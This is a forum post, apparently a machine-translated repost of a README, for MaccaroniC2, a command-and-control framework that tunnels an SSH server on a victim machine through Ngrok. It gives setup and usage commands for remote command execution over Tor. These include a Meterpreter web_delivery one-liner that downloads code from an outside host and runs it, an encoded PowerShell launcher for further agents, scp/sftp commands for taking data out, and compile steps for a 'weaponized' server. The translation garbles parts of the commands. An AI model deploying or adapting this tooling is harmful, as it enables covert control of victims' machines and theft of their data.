taibeihacker
Moderator
MaccaroniC2是概念验证Command and Control framework,它利用功能强大的Asyncssh Python库,该库提供了SSHV2协议的异步客户端和服务器实现,并使用Pyngrok Wrapper进行Ngrok集成。该工具是针对受害者运行异步服务器并在外部建立隧道的特定方案的启发,并准备接收攻击者的命令。
攻击者利用Ngrok官方API检索主机名和隧道端口以建立连接。这种方法利用了AsyncSSH提供的综合功能,包括其对SFTP和SCP的综合支持,从而促进了安全有效的数据剥落等等。
此外,攻击者可以使用袜子代理发送和执行系统命令,例如利用所提供的好处,例如使用TOR来增强匿名性。
Ngrok免费帐户仅允许一次使用一条隧道。有了一些更改,此工具对于一个类似Bot的CC框架可以控制多个SSH实例,但是您需要在NGROK网站上升级计划,请参见https://ngrok.com/PRICING
Setup and Procedure
RUN PYTHON3 gen_rsa.py生成一对SSH键。攻击者使用新生成的ID_RSA连接到受害者机器上运行的服务器。编辑asyncssh_server.py文件,然后将新生成的id_rsa.pub的内容放入pub_key变量内。 asyncssh_server.py提供具有SFTP和SCP功能的SSHV2协议的实现。这是受害者运行的剧本。
在Ngrok网站上创建一个免费帐户,并记下Auth令牌。
将auth令牌添加到asyncssh_server.py中的令牌变量中,需要在ngrok_tunnel()函数内部进行竖琴。
在Ngrok网站上创建免费的API密钥。记下生成的字符串。
将API键字符串放入ASYNC_COMMANDER.PY文件中的API_KEY变量中。这使我们能够在自动化过程中自动检索Ngrok域和活动隧道的端口。
为get_endpoints.py文件执行相同的步骤。该脚本检索有关活动隧道的各种有用信息。
Send commands to server
带有async_commander.py您可以将任何命令发送到服务器。它会自动要求使用Ngrok官方API激活的Ngrok隧道域和端口。还请注意,ID_RSA需要在async_commander.py的同一文件夹中
Basic Usage
受害者机器上运行服务器:python3 asyncssh_server.py
从攻击者机器使用袜子proxy:发送命令
python3 asyncssh_commander.py'ls -la'-proxy Socks5: //127.0.0.0.1:9050
不使用Proxy:发送命令
python3 asyncssh_commander.py'whoami'
产生另一个C2代理(Powershell-Empire,MeterPreter等):
python3 asyncssh_commander.py'powershell.exe -e abje . dhyte'
MeterPreter Web_delivery模块
python3 asyncssh_commander.py'python3 -c \'导入系统;导入SSL; u=_import __('Urllib'+{2:'',3:'.request'} [sys.version_info [0]],fromlist=('urlopen',)); r=u.urlopen('http://100.100.100.100.100.100:8080/ynrvekasvf',context=ssl._create_unverified_context()); exec(r.read()); \''
获取活动隧道的列表:
python3 get_endpoints.py
生成新的RSA键Pairs:
python3 gen_rsa.py
Advanced Usage
使用SFTP和SCP-您不需要有效的用户名,只有正确的ID_RSA使用Proxy: Proxychains SFTP -P ngrok_port -i id_rsa ddddd@ngrok_host
scp -i id_rsa -o proxyCommand='nc -x localhost:9050%h ngrok_port'source_file ddddd@ngrok_host:destination_path
no proxy: sftp -p端口-i id_rsa ddddd@ngrok_host
scp -i id_rsa -p port source_file ddddd@ngrok_host:destination_path
Compiling with Nuitka
Python -M PIP安装Nuitkapython -M nuitka -stance -instalone -honefile asyncssh_server.py
Weaponized server
有关更多信息,请查看相关文章: https://blog.hacktivesecurity.com/i...-to-to-to-to-to-to-data-exfartration-part-1/-DISCLAIMER: This tool is intended for testing and educational purposes only. It should only be used on systems with proper authorization. Any unauthorized or illegal use of this tool is strictly prohibited. The creator of this tool holds no responsibility for any misuse or damage caused by its usage. Please ensure compliance with applicable laws and regulations while utilizing this tool. Additionally, it’s important to note that the usage of Ngrok in conjunction with this tool may result in the violation of the terms of service or policies of certain platforms. It is advisable to review and comply with the terms of use of any platform or service to avoid potential account bans or disruptions.